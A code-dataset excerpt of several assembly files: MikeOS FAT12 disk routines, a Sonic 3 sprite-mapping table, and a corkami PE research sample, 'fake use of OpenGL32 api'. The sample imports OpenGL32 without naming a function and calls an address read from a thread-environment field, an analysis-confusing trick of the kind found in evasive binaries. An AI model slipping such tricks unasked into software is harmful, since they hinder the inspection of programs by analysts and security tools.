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; ==================================================================
; MikeOS -- The Mike Operating System kernel
; Copyright (C) 2006 - 2013 MikeOS Developers -- see doc/LICENSE.TXT
;
; FAT12 FLOPPY DISK ROUTINES
; ==================================================================
; ------------------------------------------------------------------
; os_get_file_list -- Generate comma-separated string of files on floppy
; IN/OUT: AX = location to store zero-terminated filename string
os_get_file_list:
pusha
mov word [.file_list_tmp], ax
mov eax, 0 ; Needed for some older BIOSes
call disk_reset_floppy ; Just in case disk was changed
mov ax, 19 ; Root dir starts at logical sector 19
call disk_convert_l2hts
mov si, disk_buffer ; ES:BX should point to our buffer
mov bx, si
mov ah, 2 ; Params for int 13h: read floppy sectors
mov al, 14 ; And read 14 of them
pusha ; Prepare to enter loop
.read_root_dir:
popa
pusha
stc
int 13h ; Read sectors
call disk_reset_floppy ; Check we've read them OK
jnc .show_dir_init ; No errors, continue
call disk_reset_floppy ; Error = reset controller and try again
jnc .read_root_dir
jmp .done ; Double error, exit 'dir' routine
.show_dir_init:
popa
mov ax, 0
mov si, disk_buffer ; Data reader from start of filenames
mov word di, [.file_list_tmp] ; Name destination buffer
.start_entry:
mov al, [si+11] ; File attributes for entry
cmp al, 0Fh ; Windows marker, skip it
je .skip
test al, 18h ; Is this a directory entry or volume label?
jnz .skip ; Yes, ignore it
mov al, [si]
cmp al, 229 ; If we read 229 = deleted filename
je .skip
cmp al, 0 ; 1st byte = entry never used
je .done
mov cx, 1 ; Set char counter
mov dx, si ; Beginning of possible entry
.testdirentry:
inc si
mov al, [si] ; Test for most unusable characters
cmp al, ' ' ; Windows sometimes puts 0 (UTF-8) or 0FFh
jl .nxtdirentry
cmp al, '~'
ja .nxtdirentry
inc cx
cmp cx, 11 ; Done 11 char filename?
je .gotfilename
jmp .testdirentry
.gotfilename: ; Got a filename that passes testing
mov si, dx ; DX = where getting string
mov cx, 0
.loopy:
mov byte al, [si]
cmp al, ' '
je .ignore_space
mov byte [di], al
inc si
inc di
inc cx
cmp cx, 8
je .add_dot
cmp cx, 11
je .done_copy
jmp .loopy
.ignore_space:
inc si
inc cx
cmp cx, 8
je .add_dot
jmp .loopy
.add_dot:
mov byte [di], '.'
inc di
jmp .loopy
.done_copy:
mov byte [di], ',' ; Use comma to separate filenames
inc di
.nxtdirentry:
mov si, dx ; Start of entry, pretend to skip to next
.skip:
add si, 32 ; Shift to next 32 bytes (next filename)
jmp .start_entry
.done:
dec di
mov byte [di], 0 ; Zero-terminate string (gets rid of final comma)
popa
ret
.file_list_tmp dw 0
; ------------------------------------------------------------------
; os_load_file -- Load file into RAM
; IN: AX = location of filename, CX = location in RAM to load file
; OUT: BX = file size (in bytes), carry set if file not found
os_load_file:
call os_string_uppercase
call int_filename_convert
mov [.filename_loc], ax ; Store filename location
mov [.load_position], cx ; And where to load the file!
mov eax, 0 ; Needed for some older BIOSes
call disk_reset_floppy ; In case floppy has been changed
jnc .floppy_ok ; Did the floppy reset OK?
mov ax, .err_msg_floppy_reset ; If not, bail out
jmp os_fatal_error
.floppy_ok: ; Ready to read first block of data
mov ax, 19 ; Root dir starts at logical sector 19
call disk_convert_l2hts
mov si, disk_buffer ; ES:BX should point to our buffer
mov bx, si
mov ah, 2 ; Params for int 13h: read floppy sectors
mov al, 14 ; 14 root directory sectors
pusha ; Prepare to enter loop
.read_root_dir:
popa
pusha
stc ; A few BIOSes clear, but don't set properly
int 13h ; Read sectors
jnc .search_root_dir ; No errors = continue
call disk_reset_floppy ; Problem = reset controller and try again
jnc .read_root_dir
popa
jmp .root_problem ; Double error = exit
.search_root_dir:
popa
mov cx, word 224 ; Search all entries in root dir
mov bx, -32 ; Begin searching at offset 0 in root dir
.next_root_entry:
add bx, 32 ; Bump searched entries by 1 (offset + 32 bytes)
mov di, disk_buffer ; Point root dir at next entry
add di, bx
mov al, [di] ; First character of name
cmp al, 0 ; Last file name already checked?
je .root_problem
cmp al, 229 ; Was this file deleted?
je .next_root_entry ; If yes, skip it
mov al, [di+11] ; Get the attribute byte
cmp al, 0Fh ; Is this a special Windows entry?
je .next_root_entry
test al, 18h ; Is this a directory entry or volume label?
jnz .next_root_entry
mov byte [di+11], 0 ; Add a terminator to directory name entry
mov ax, di ; Convert root buffer name to upper case
call os_string_uppercase
mov si, [.filename_loc] ; DS:SI = location of filename to load
call os_string_compare ; Current entry same as requested?
jc .found_file_to_load
loop .next_root_entry
.root_problem:
mov bx, 0 ; If file not found or major disk error,
stc ; return with size = 0 and carry set
ret
.found_file_to_load: ; Now fetch cluster and load FAT into RAM
mov ax, [di+28] ; Store file size to return to calling routine
mov word [.file_size], ax
cmp ax, 0 ; If the file size is zero, don't bother trying
je .end ; to read more clusters
mov ax, [di+26] ; Now fetch cluster and load FAT into RAM
mov word [.cluster], ax
mov ax, 1 ; Sector 1 = first sector of first FAT
call disk_convert_l2hts
mov di, disk_buffer ; ES:BX points to our buffer
mov bx, di
mov ah, 2 ; int 13h params: read sectors
mov al, 9 ; And read 9 of them
pusha
.read_fat:
popa ; In case registers altered by int 13h
pusha
stc
int 13h
jnc .read_fat_ok
call disk_reset_floppy
jnc .read_fat
popa
jmp .root_problem
.read_fat_ok:
popa
.load_file_sector:
mov ax, word [.cluster] ; Convert sector to logical
add ax, 31
call disk_convert_l2hts ; Make appropriate params for int 13h
mov bx, [.load_position]
mov ah, 02 ; AH = read sectors, AL = just read 1
mov al, 01
stc
int 13h
jnc .calculate_next_cluster ; If there's no error...
call disk_reset_floppy ; Otherwise, reset floppy and retry
jnc .load_file_sector
mov ax, .err_msg_floppy_reset ; Reset failed, bail out
jmp os_fatal_error
.calculate_next_cluster:
mov ax, [.cluster]
mov bx, 3
mul bx
mov bx, 2
div bx ; DX = [CLUSTER] mod 2
mov si, disk_buffer ; AX = word in FAT for the 12 bits
add si, ax
mov ax, word [ds:si]
or dx, dx ; If DX = 0 [CLUSTER] = even, if DX = 1 then odd
jz .even ; If [CLUSTER] = even, drop last 4 bits of word
; with next cluster; if odd, drop first 4 bits
.odd:
shr ax, 4 ; Shift out first 4 bits (belong to another entry)
jmp .calculate_cluster_cont ; Onto next sector!
.even:
and ax, 0FFFh ; Mask out top (last) 4 bits
.calculate_cluster_cont:
mov word [.cluster], ax ; Store cluster
cmp ax, 0FF8h
jae .end
add word [.load_position], 512
jmp .load_file_sector ; Onto next sector!
.end:
mov bx, [.file_size] ; Get file size to pass back in BX
clc ; Carry clear = good load
ret
.bootd db 0 ; Boot device number
.cluster dw 0 ; Cluster of the file we want to load
.pointer dw 0 ; Pointer into disk_buffer, for loading 'file2load'
.filename_loc dw 0 ; Temporary store of filename location
.load_position dw 0 ; Where we'll load the file
.file_size dw 0 ; Size of the file
.string_buff times 12 db 0 ; For size (integer) printing
.err_msg_floppy_reset db 'os_load_file: Floppy failed to reset', 0
; --------------------------------------------------------------------------
; os_write_file -- Save (max 64K) file to disk
; IN: AX = filename, BX = data location, CX = bytes to write
; OUT: Carry clear if OK, set if failure
os_write_file:
pusha
mov si, ax
call os_string_length
cmp ax, 0
je near .failure
mov ax, si
call os_string_uppercase
call int_filename_convert ; Make filename FAT12-style
jc near .failure
mov word [.filesize], cx
mov word [.location], bx
mov word [.filename], ax
call os_file_exists ; Don't overwrite a file if it exists!
jnc near .failure
; First, zero out the .free_clusters list from any previous execution
pusha
mov di, .free_clusters
mov cx, 128
.clean_free_loop:
mov word [di], 0
inc di
inc di
loop .clean_free_loop
popa
; Next, we need to calculate now many 512 byte clusters are required
mov ax, cx
mov dx, 0
mov bx, 512 ; Divide file size by 512 to get clusters needed
div bx
cmp dx, 0
jg .add_a_bit ; If there's a remainder, we need another cluster
jmp .carry_on
.add_a_bit:
add ax, 1
.carry_on:
mov word [.clusters_needed], ax
mov word ax, [.filename] ; Get filename back
call os_create_file ; Create empty root dir entry for this file
jc near .failure ; If we can't write to the media, jump out
mov word bx, [.filesize]
cmp bx, 0
je near .finished
call disk_read_fat ; Get FAT copy into RAM
mov si, disk_buffer + 3 ; And point SI at it (skipping first two clusters)
mov bx, 2 ; Current cluster counter
mov word cx, [.clusters_needed]
mov dx, 0 ; Offset in .free_clusters list
.find_free_cluster:
lodsw ; Get a word
and ax, 0FFFh ; Mask out for even
jz .found_free_even ; Free entry?
.more_odd:
inc bx ; If not, bump our counter
dec si ; 'lodsw' moved on two chars; we only want to move on one
lodsw ; Get word
shr ax, 4 ; Shift for odd
or ax, ax ; Free entry?
jz .found_free_odd
.more_even:
inc bx ; If not, keep going
jmp .find_free_cluster
.found_free_even:
push si
mov si, .free_clusters ; Store cluster
add si, dx
mov word [si], bx
pop si
dec cx ; Got all the clusters we need?
cmp cx, 0
je .finished_list
inc dx ; Next word in our list
inc dx
jmp .more_odd
.found_free_odd:
push si
mov si, .free_clusters ; Store cluster
add si, dx
mov word [si], bx
pop si
dec cx
cmp cx, 0
je .finished_list
inc dx ; Next word in our list
inc dx
jmp .more_even
.finished_list:
; Now the .free_clusters table contains a series of numbers (words)
; that correspond to free clusters on the disk; the next job is to
; create a cluster chain in the FAT for our file
mov cx, 0 ; .free_clusters offset counter
mov word [.count], 1 ; General cluster counter
.chain_loop:
mov word ax, [.count] ; Is this the last cluster?
cmp word ax, [.clusters_needed]
je .last_cluster
mov di, .free_clusters
add di, cx
mov word bx, [di] ; Get cluster
mov ax, bx ; Find out if it's an odd or even cluster
mov dx, 0
mov bx, 3
mul bx
mov bx, 2
div bx ; DX = [.cluster] mod 2
mov si, disk_buffer
add si, ax ; AX = word in FAT for the 12 bit entry
mov ax, word [ds:si]
or dx, dx ; If DX = 0, [.cluster] = even; if DX = 1 then odd
jz .even
.odd:
and ax, 000Fh ; Zero out bits we want to use
mov di, .free_clusters
add di, cx ; Get offset in .free_clusters
mov word bx, [di+2] ; Get number of NEXT cluster
shl bx, 4 ; And convert it into right format for FAT
add ax, bx
mov word [ds:si], ax ; Store cluster data back in FAT copy in RAM
inc word [.count]
inc cx ; Move on a word in .free_clusters
inc cx
jmp .chain_loop
.even:
and ax, 0F000h ; Zero out bits we want to use
mov di, .free_clusters
add di, cx ; Get offset in .free_clusters
mov word bx, [di+2] ; Get number of NEXT free cluster
add ax, bx
mov word [ds:si], ax ; Store cluster data back in FAT copy in RAM
inc word [.count]
inc cx ; Move on a word in .free_clusters
inc cx
jmp .chain_loop
.last_cluster:
mov di, .free_clusters
add di, cx
mov word bx, [di] ; Get cluster
mov ax, bx
mov dx, 0
mov bx, 3
mul bx
mov bx, 2
div bx ; DX = [.cluster] mod 2
mov si, disk_buffer
add si, ax ; AX = word in FAT for the 12 bit entry
mov ax, word [ds:si]
or dx, dx ; If DX = 0, [.cluster] = even; if DX = 1 then odd
jz .even_last
.odd_last:
and ax, 000Fh ; Set relevant parts to FF8h (last cluster in file)
add ax, 0FF80h
jmp .finito
.even_last:
and ax, 0F000h ; Same as above, but for an even cluster
add ax, 0FF8h
.finito:
mov word [ds:si], ax
call disk_write_fat ; Save our FAT back to disk
; Now it's time to save the sectors to disk!
mov cx, 0
.save_loop:
mov di, .free_clusters
add di, cx
mov word ax, [di]
cmp ax, 0
je near .write_root_entry
pusha
add ax, 31
call disk_convert_l2hts
mov word bx, [.location]
mov ah, 3
mov al, 1
stc
int 13h
popa
add word [.location], 512
inc cx
inc cx
jmp .save_loop
.write_root_entry:
; Now it's time to head back to the root directory, find our
; entry and update it with the cluster in use and file size
call disk_read_root_dir
mov word ax, [.filename]
call disk_get_root_entry
mov word ax, [.free_clusters] ; Get first free cluster
mov word [di+26], ax ; Save cluster location into root dir entry
mov word cx, [.filesize]
mov word [di+28], cx
mov byte [di+30], 0 ; File size
mov byte [di+31], 0
call disk_write_root_dir
.finished:
popa
clc
ret
.failure:
popa
stc ; Couldn't write!
ret
.filesize dw 0
.cluster dw 0
.count dw 0
.location dw 0
.clusters_needed dw 0
.filename dw 0
.free_clusters times 128 dw 0
; --------------------------------------------------------------------------
; os_file_exists -- Check for presence of file on the floppy
; IN: AX = filename location; OUT: carry clear if found, set if not
os_file_exists:
call os_string_uppercase
call int_filename_convert ; Make FAT12-style filename
push ax
call os_string_length
cmp ax, 0
je .failure
pop ax
push ax
call disk_read_root_dir
pop ax ; Restore filename
mov di, disk_buffer
call disk_get_root_entry ; Set or clear carry flag
ret
.failure:
pop ax
stc
ret
; --------------------------------------------------------------------------
; os_create_file -- Creates a new 0-byte file on the floppy disk
; IN: AX = location of filename; OUT: Nothing
os_create_file:
clc
call os_string_uppercase
call int_filename_convert ; Make FAT12-style filename
pusha
push ax ; Save filename for now
call os_file_exists ; Does the file already exist?
jnc .exists_error
; Root dir already read into disk_buffer by os_file_exists
mov di, disk_buffer ; So point DI at it!
mov cx, 224 ; Cycle through root dir entries
.next_entry:
mov byte al, [di]
cmp al, 0 ; Is this a free entry?
je .found_free_entry
cmp al, 0E5h ; Is this a free entry?
je .found_free_entry
add di, 32 ; If not, go onto next entry
loop .next_entry
.exists_error: ; We also get here if above loop finds nothing
pop ax ; Get filename back
popa
stc ; Set carry for failure
ret
.found_free_entry:
pop si ; Get filename back
mov cx, 11
rep movsb ; And copy it into RAM copy of root dir (in DI)
sub di, 11 ; Back to start of root dir entry, for clarity
mov byte [di+11], 0 ; Attributes
mov byte [di+12], 0 ; Reserved
mov byte [di+13], 0 ; Reserved
mov byte [di+14], 0C6h ; Creation time
mov byte [di+15], 07Eh ; Creation time
mov byte [di+16], 0 ; Creation date
mov byte [di+17], 0 ; Creation date
mov byte [di+18], 0 ; Last access date
mov byte [di+19], 0 ; Last access date
mov byte [di+20], 0 ; Ignore in FAT12
mov byte [di+21], 0 ; Ignore in FAT12
mov byte [di+22], 0C6h ; Last write time
mov byte [di+23], 07Eh ; Last write time
mov byte [di+24], 0 ; Last write date
mov byte [di+25], 0 ; Last write date
mov byte [di+26], 0 ; First logical cluster
mov byte [di+27], 0 ; First logical cluster
mov byte [di+28], 0 ; File size
mov byte [di+29], 0 ; File size
mov byte [di+30], 0 ; File size
mov byte [di+31], 0 ; File size
call disk_write_root_dir
jc .failure
popa
clc ; Clear carry for success
ret
.failure:
popa
stc
ret
; --------------------------------------------------------------------------
; os_remove_file -- Deletes the specified file from the filesystem
; IN: AX = location of filename to remove
os_remove_file:
pusha
call os_string_uppercase
call int_filename_convert ; Make filename FAT12-style
push ax ; Save filename
clc
call disk_read_root_dir ; Get root dir into disk_buffer
mov di, disk_buffer ; Point DI to root dir
pop ax ; Get chosen filename back
call disk_get_root_entry ; Entry will be returned in DI
jc .failure ; If entry can't be found
mov ax, word [es:di+26] ; Get first cluster number from the dir entry
mov word [.cluster], ax ; And save it
mov byte [di], 0E5h ; Mark directory entry (first byte of filename) as empty
inc di
mov cx, 0 ; Set rest of data in root dir entry to zeros
.clean_loop:
mov byte [di], 0
inc di
inc cx
cmp cx, 31 ; 32-byte entries, minus E5h byte we marked before
jl .clean_loop
call disk_write_root_dir ; Save back the root directory from RAM
call disk_read_fat ; Now FAT is in disk_buffer
mov di, disk_buffer ; And DI points to it
.more_clusters:
mov word ax, [.cluster] ; Get cluster contents
cmp ax, 0 ; If it's zero, this was an empty file
je .nothing_to_do
mov bx, 3 ; Determine if cluster is odd or even number
mul bx
mov bx, 2
div bx ; DX = [first_cluster] mod 2
mov si, disk_buffer ; AX = word in FAT for the 12 bits
add si, ax
mov ax, word [ds:si]
or dx, dx ; If DX = 0 [.cluster] = even, if DX = 1 then odd
jz .even ; If [.cluster] = even, drop last 4 bits of word
; with next cluster; if odd, drop first 4 bits
.odd:
push ax
and ax, 000Fh ; Set cluster data to zero in FAT in RAM
mov word [ds:si], ax
pop ax
shr ax, 4 ; Shift out first 4 bits (they belong to another entry)
jmp .calculate_cluster_cont ; Onto next sector!
.even:
push ax
and ax, 0F000h ; Set cluster data to zero in FAT in RAM
mov word [ds:si], ax
pop ax
and ax, 0FFFh ; Mask out top (last) 4 bits (they belong to another entry)
.calculate_cluster_cont:
mov word [.cluster], ax ; Store cluster
cmp ax, 0FF8h ; Final cluster marker?
jae .end
jmp .more_clusters ; If not, grab more
.end:
call disk_write_fat
jc .failure
.nothing_to_do:
popa
clc
ret
.failure:
popa
stc
ret
.cluster dw 0
; --------------------------------------------------------------------------
; os_rename_file -- Change the name of a file on the disk
; IN: AX = filename to change, BX = new filename (zero-terminated strings)
; OUT: carry set on error
os_rename_file:
push bx
push ax
clc
call disk_read_root_dir ; Get root dir into disk_buffer
mov di, disk_buffer ; Point DI to root dir
pop ax ; Get chosen filename back
call os_string_uppercase
call int_filename_convert
call disk_get_root_entry ; Entry will be returned in DI
jc .fail_read ; Quit out if file not found
pop bx ; Get new filename string (originally passed in BX)
mov ax, bx
call os_string_uppercase
call int_filename_convert
mov si, ax
mov cx, 11 ; Copy new filename string into root dir entry in disk_buffer
rep movsb
call disk_write_root_dir ; Save root dir to disk
jc .fail_write
clc
ret
.fail_read:
pop ax
stc
ret
.fail_write:
stc
ret
; --------------------------------------------------------------------------
; os_get_file_size -- Get file size information for specified file
; IN: AX = filename; OUT: BX = file size in bytes (up to 64K)
; or carry set if file not found
os_get_file_size:
pusha
call os_string_uppercase
call int_filename_convert
clc
push ax
call disk_read_root_dir
jc .failure
pop ax
mov di, disk_buffer
call disk_get_root_entry
jc .failure
mov word bx, [di+28]
mov word [.tmp], bx
popa
mov word bx, [.tmp]
ret
.failure:
popa
stc
ret
.tmp dw 0
; ==================================================================
; INTERNAL OS ROUTINES -- Not accessible to user programs
; ------------------------------------------------------------------
; int_filename_convert -- Change 'TEST.BIN' into 'TEST BIN' as per FAT12
; IN: AX = filename string
; OUT: AX = location of converted string (carry set if invalid)
int_filename_convert:
pusha
mov si, ax
call os_string_length
cmp ax, 14 ; Filename too long?
jg .failure ; Fail if so
cmp ax, 0
je .failure ; Similarly, fail if zero-char string
mov dx, ax ; Store string length for now
mov di, .dest_string
mov cx, 0
.copy_loop:
lodsb
cmp al, '.'
je .extension_found
stosb
inc cx
cmp cx, dx
jg .failure ; No extension found = wrong
jmp .copy_loop
.extension_found:
cmp cx, 0
je .failure ; Fail if extension dot is first char
cmp cx, 8
je .do_extension ; Skip spaces if first bit is 8 chars
; Now it's time to pad out the rest of the first part of the filename
; with spaces, if necessary
.add_spaces:
mov byte [di], ' '
inc di
inc cx
cmp cx, 8
jl .add_spaces
; Finally, copy over the extension
.do_extension:
lodsb ; 3 characters
cmp al, 0
je .failure
stosb
lodsb
cmp al, 0
je .failure
stosb
lodsb
cmp al, 0
je .failure
stosb
mov byte [di], 0 ; Zero-terminate filename
popa
mov ax, .dest_string
clc ; Clear carry for success
ret
.failure:
popa
stc ; Set carry for failure
ret
.dest_string times 13 db 0
; --------------------------------------------------------------------------
; disk_get_root_entry -- Search RAM copy of root dir for file entry
; IN: AX = filename; OUT: DI = location in disk_buffer of root dir entry,
; or carry set if file not found
disk_get_root_entry:
pusha
mov word [.filename], ax
mov cx, 224 ; Search all (224) entries
mov ax, 0 ; Searching at offset 0
.to_next_root_entry:
xchg cx, dx ; We use CX in the inner loop...
mov word si, [.filename] ; Start searching for filename
mov cx, 11
rep cmpsb
je .found_file ; Pointer DI will be at offset 11, if file found
add ax, 32 ; Bump searched entries by 1 (32 bytes/entry)
mov di, disk_buffer ; Point to next root dir entry
add di, ax
xchg dx, cx ; Get the original CX back
loop .to_next_root_entry
popa
stc ; Set carry if entry not found
ret
.found_file:
sub di, 11 ; Move back to start of this root dir entry
mov word [.tmp], di ; Restore all registers except for DI
popa
mov word di, [.tmp]
clc
ret
.filename dw 0
.tmp dw 0
; --------------------------------------------------------------------------
; disk_read_fat -- Read FAT entry from floppy into disk_buffer
; IN: Nothing; OUT: carry set if failure
disk_read_fat:
pusha
mov ax, 1 ; FAT starts at logical sector 1 (after boot sector)
call disk_convert_l2hts
mov si, disk_buffer ; Set ES:BX to point to 8K OS buffer
mov bx, 2000h
mov es, bx
mov bx, si
mov ah, 2 ; Params for int 13h: read floppy sectors
mov al, 9 ; And read 9 of them for first FAT
pusha ; Prepare to enter loop
.read_fat_loop:
popa
pusha
stc ; A few BIOSes do not set properly on error
int 13h ; Read sectors
jnc .fat_done
call disk_reset_floppy ; Reset controller and try again
jnc .read_fat_loop ; Floppy reset OK?
popa
jmp .read_failure ; Fatal double error
.fat_done:
popa ; Restore registers from main loop
popa ; And restore registers from start of system call
clc
ret
.read_failure:
popa
stc ; Set carry flag (for failure)
ret
; --------------------------------------------------------------------------
; disk_write_fat -- Save FAT contents from disk_buffer in RAM to disk
; IN: FAT in disk_buffer; OUT: carry set if failure
disk_write_fat:
pusha
mov ax, 1 ; FAT starts at logical sector 1 (after boot sector)
call disk_convert_l2hts
mov si, disk_buffer ; Set ES:BX to point to 8K OS buffer
mov bx, ds
mov es, bx
mov bx, si
mov ah, 3 ; Params for int 13h: write floppy sectors
mov al, 9 ; And write 9 of them for first FAT
stc ; A few BIOSes do not set properly on error
int 13h ; Write sectors
jc .write_failure ; Fatal double error
popa ; And restore from start of system call
clc
ret
.write_failure:
popa
stc ; Set carry flag (for failure)
ret
; --------------------------------------------------------------------------
; disk_read_root_dir -- Get the root directory contents
; IN: Nothing; OUT: root directory contents in disk_buffer, carry set if error
disk_read_root_dir:
pusha
mov ax, 19 ; Root dir starts at logical sector 19
call disk_convert_l2hts
mov si, disk_buffer ; Set ES:BX to point to OS buffer
mov bx, ds
mov es, bx
mov bx, si
mov ah, 2 ; Params for int 13h: read floppy sectors
mov al, 14 ; And read 14 of them (from 19 onwards)
pusha ; Prepare to enter loop
.read_root_dir_loop:
popa
pusha
stc ; A few BIOSes do not set properly on error
int 13h ; Read sectors
jnc .root_dir_finished
call disk_reset_floppy ; Reset controller and try again
jnc .read_root_dir_loop ; Floppy reset OK?
popa
jmp .read_failure ; Fatal double error
.root_dir_finished:
popa ; Restore registers from main loop
popa ; And restore from start of this system call
clc ; Clear carry (for success)
ret
.read_failure:
popa
stc ; Set carry flag (for failure)
ret
; --------------------------------------------------------------------------
; disk_write_root_dir -- Write root directory contents from disk_buffer to disk
; IN: root dir copy in disk_buffer; OUT: carry set if error
disk_write_root_dir:
pusha
mov ax, 19 ; Root dir starts at logical sector 19
call disk_convert_l2hts
mov si, disk_buffer ; Set ES:BX to point to OS buffer
mov bx, ds
mov es, bx
mov bx, si
mov ah, 3 ; Params for int 13h: write floppy sectors
mov al, 14 ; And write 14 of them (from 19 onwards)
stc ; A few BIOSes do not set properly on error
int 13h ; Write sectors
jc .write_failure
popa ; And restore from start of this system call
clc
ret
.write_failure:
popa
stc ; Set carry flag (for failure)
ret
; --------------------------------------------------------------------------
; Reset floppy disk
disk_reset_floppy:
push ax
push dx
mov ax, 0
; ******************************************************************
mov dl, [bootdev]
; ******************************************************************
stc
int 13h
pop dx
pop ax
ret
; --------------------------------------------------------------------------
; disk_convert_l2hts -- Calculate head, track and sector for int 13h
; IN: logical sector in AX; OUT: correct registers for int 13h
disk_convert_l2hts:
push bx
push ax
mov bx, ax ; Save logical sector
mov dx, 0 ; First the sector
div word [SecsPerTrack] ; Sectors per track
add dl, 01h ; Physical sectors start at 1
mov cl, dl ; Sectors belong in CL for int 13h
mov ax, bx
mov dx, 0 ; Now calculate the head
div word [SecsPerTrack] ; Sectors per track
mov dx, 0
div word [Sides] ; Floppy sides
mov dh, dl ; Head/side
mov ch, al ; Track
pop ax
pop bx
; ******************************************************************
mov dl, [bootdev] ; Set correct device
; ******************************************************************
ret
Sides dw 2
SecsPerTrack dw 18
; ******************************************************************
bootdev db 0 ; Boot device number
; ******************************************************************
; ==================================================================
| clarkeaa/tinyschemeos | src/disk.asm | Assembly | mit | 28,757 |
dc.w word_46D2C-Map_SSZRetractingSpring
dc.w word_46D2E-Map_SSZRetractingSpring
dc.w word_46D36-Map_SSZRetractingSpring
dc.w word_46D56-Map_SSZRetractingSpring
dc.w word_46D70-Map_SSZRetractingSpring
dc.w word_46D84-Map_SSZRetractingSpring
word_46D2C: dc.w 0 ; DATA XREF: ROM:00046D20o
word_46D2E: dc.w 1 ; DATA XREF: ROM:00046D20o
dc.b 8, $C, $28, $1B, $FF, $F8
word_46D36: dc.w 5 ; DATA XREF: ROM:00046D20o
dc.b $F8, $E, 8, 0, $FF, $F8
dc.b $F0, 8, $28, $1F, $FF, $F6
dc.b $F8, 8, $28, $22, $FF, $EE
dc.b 0, 4, $28, $25, $FF, $EE
dc.b 8, 0, $28, $27, $FF, $EE
word_46D56: dc.w 4 ; DATA XREF: ROM:00046D20o
dc.b $F0, 8, 8, $C, $FF, $F8
dc.b $F8, $E, 8, $F, $FF, $F8
dc.b $F8, 1, 8, $2C, $FF, $F0
dc.b $F0, 3, $28, $28, $FF, $E8
word_46D70: dc.w 3 ; DATA XREF: ROM:00046D20o
dc.b $F0, 8, 8, $C, $FF, $F8
dc.b $F8, $E, 8, $F, $FF, $F8
dc.b $F0, 3, $28, $28, $FF, $F0
word_46D84: dc.w 4 ; DATA XREF: ROM:00046D20o
dc.b $F0, 8, 8, $C, $FF, $F8
dc.b $F8, $E, 8, $F, $FF, $F8
dc.b $F8, 9, 8, $2E, $FF, $E0
dc.b $F0, 3, $28, $28, $FF, $D8
| TeamASM-Blur/Sonic-3-Blue-Balls-Edition | Working Disassembly/Levels/SSZ/Misc Object Data/Map - Retracting Spring.asm | Assembly | apache-2.0 | 1,166 |
; fake use of OpenGL32 api
; Ange Albertini, BSD LICENCE 2009-2011
%include 'consts.inc'
IMAGEBASE equ 400000h
org IMAGEBASE
bits 32
SECTIONALIGN equ 1000h
FILEALIGN equ 200h
istruc IMAGE_DOS_HEADER
at IMAGE_DOS_HEADER.e_magic, db 'MZ'
at IMAGE_DOS_HEADER.e_lfanew, dd NT_Signature - IMAGEBASE
iend
NT_Signature:
istruc IMAGE_NT_HEADERS
at IMAGE_NT_HEADERS.Signature, db 'PE', 0, 0
iend
istruc IMAGE_FILE_HEADER
at IMAGE_FILE_HEADER.Machine, dw IMAGE_FILE_MACHINE_I386
at IMAGE_FILE_HEADER.NumberOfSections, dw NUMBEROFSECTIONS
at IMAGE_FILE_HEADER.SizeOfOptionalHeader, dw SIZEOFOPTIONALHEADER
at IMAGE_FILE_HEADER.Characteristics, dw IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_32BIT_MACHINE
iend
OptionalHeader:
istruc IMAGE_OPTIONAL_HEADER32
at IMAGE_OPTIONAL_HEADER32.Magic, dw IMAGE_NT_OPTIONAL_HDR32_MAGIC
at IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint, dd EntryPoint - IMAGEBASE
at IMAGE_OPTIONAL_HEADER32.ImageBase, dd IMAGEBASE
at IMAGE_OPTIONAL_HEADER32.SectionAlignment, dd SECTIONALIGN
at IMAGE_OPTIONAL_HEADER32.FileAlignment, dd FILEALIGN
at IMAGE_OPTIONAL_HEADER32.MajorSubsystemVersion, dw 4
at IMAGE_OPTIONAL_HEADER32.SizeOfImage, dd 2 * SECTIONALIGN
at IMAGE_OPTIONAL_HEADER32.SizeOfHeaders, dd SIZEOFHEADERS
at IMAGE_OPTIONAL_HEADER32.Subsystem, dw IMAGE_SUBSYSTEM_WINDOWS_CUI
at IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes, dd 16
iend
istruc IMAGE_DATA_DIRECTORY_16
at IMAGE_DATA_DIRECTORY_16.ImportsVA, dd Import_Descriptor - IMAGEBASE
iend
SIZEOFOPTIONALHEADER equ $ - OptionalHeader
SectionHeader:
istruc IMAGE_SECTION_HEADER
at IMAGE_SECTION_HEADER.VirtualSize, dd 1 * SECTIONALIGN
at IMAGE_SECTION_HEADER.VirtualAddress, dd 1 * SECTIONALIGN
at IMAGE_SECTION_HEADER.SizeOfRawData, dd 1 * FILEALIGN
at IMAGE_SECTION_HEADER.PointerToRawData, dd 1 * FILEALIGN
at IMAGE_SECTION_HEADER.Characteristics, dd IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE
iend
NUMBEROFSECTIONS equ ($ - SectionHeader) / IMAGE_SECTION_HEADER_size
SIZEOFHEADERS equ $ - IMAGEBASE
section progbits vstart=IMAGEBASE + SECTIONALIGN align=FILEALIGN
EntryPoint:
times 5 nop
mov eax, [fs:7c4h]
push eax
call eax
_
push Msg
call [__imp__printf]
add esp, 1 * 4
_
push 0
call [__imp__ExitProcess]
_c
Msg db " * fake use of OpenGL32 api", 0ah, 0
_d
Import_Descriptor:
;kernel32.dll_DESCRIPTOR:
dd kernel32.dll_hintnames - IMAGEBASE
dd 0, 0
dd kernel32.dll - IMAGEBASE
dd kernel32.dll_iat - IMAGEBASE
;msvcrt.dll_DESCRIPTOR:
dd msvcrt.dll_hintnames - IMAGEBASE
dd 0, 0
dd msvcrt.dll - IMAGEBASE
dd msvcrt.dll_iat - IMAGEBASE
;opengl32.dll_DESCRIPTOR:
dd 0
dd 0, 0
dd opengl32.dll - IMAGEBASE
dd opengl32.dll_iat - IMAGEBASE
;terminator
dd 0, 0, 0, 0, 0
_d
kernel32.dll_hintnames:
dd hnExitProcess - IMAGEBASE
dd 0
msvcrt.dll_hintnames:
dd hnprintf - IMAGEBASE
dd 0
_d
hnExitProcess:
dw 0
db 'ExitProcess', 0
hnprintf:
dw 0
db 'printf', 0
hnglbegin:
dw 0
db 'glBegin', 0
_d
kernel32.dll_iat:
__imp__ExitProcess:
dd hnExitProcess - IMAGEBASE
dd 0
msvcrt.dll_iat:
__imp__printf:
dd hnprintf - IMAGEBASE
dd 0
opengl32.dll_iat:
__imp__glbegin:
dd hnglbegin - IMAGEBASE
dd 0
_d
kernel32.dll db 'kernel32.dll', 0
msvcrt.dll db 'msvcrt.dll', 0
opengl32.dll db 'opengl32.dll', 0
_d
align FILEALIGN, db 0
| angea/corkami | wip/tricks/opengl.asm | Assembly | bsd-2-clause | 3,736 |
forever:
inner:
ldi r16, 45
